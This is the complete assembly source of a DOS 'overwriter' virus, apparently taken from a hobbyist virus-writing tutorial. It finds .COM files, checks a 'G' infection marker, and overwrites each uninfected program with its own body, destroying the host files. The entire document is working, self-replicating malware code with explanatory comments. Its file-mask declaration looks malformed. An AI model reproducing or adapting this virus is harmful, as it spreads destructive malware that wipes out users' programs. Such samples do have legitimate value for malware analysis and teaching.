;--------------------Start of Source--------------------;
;   OverWriter by Pocket [Pockies], for this Tutorial   ;
;-------------------------------------------------------;
        overwriter segment
                assume cs:overwriter
                org 100h              ;Beginning of execution, to
                                      ;make room for the PSP, as
                                      ;explained earlier.

start:
       jmp real_start
       db       'G'                   ;Marker byte, explained later.
real_start:
       mov ah, 4eh                    ;Find the first file...
       mov dx, offset fmask           ;Matching fmask...
       int 21h
       jmp open

find_next:
       mov ah, 4fh                    ;Find the next file matching
       int 21h                        ;Previous search
       jc exit

open:
       mov ah, 3dh                    ;Open file...
       mov al, 02h                    ;Read and write mode...
       mov dx, 09eh                   ;9eh = Asciiz of file in DTA.
       int 21h

       xchg ax, bx                    ;Open file moves file_handle to ax,
                                      ;However, we need it in bx.
       mov ah, 3fh                    ;Infection check, so we
       mov cx, 4h                     ;Don't keep overwriting the same file
       mov dx, offset temp_buff
       int 21h

       cmp byte ptr [offset temp_buff+3], 'G'  ;Infection check.
       je find_next                   ;If infected, find next.

       mov ah, 40h                    ;Write to file...
       mov dx, offset start           ;Where to copy from...
       mov cx, (offset vend - offset start)    ;How many bytes to write.
       int 21h

       mov ah, 3eh                    ;Close and save file...
       int 21h

exit:
       mov ah, 4ch                    ;Terminate and return to DOS.
       int 21h
fmask dd  '*.com'
vend  db  0

overwriter     ends
               end start

;-------------------------------------------------------------------;
;        This source code was totally made by Pockies :)            ;
;-------------------------------------------------------------------;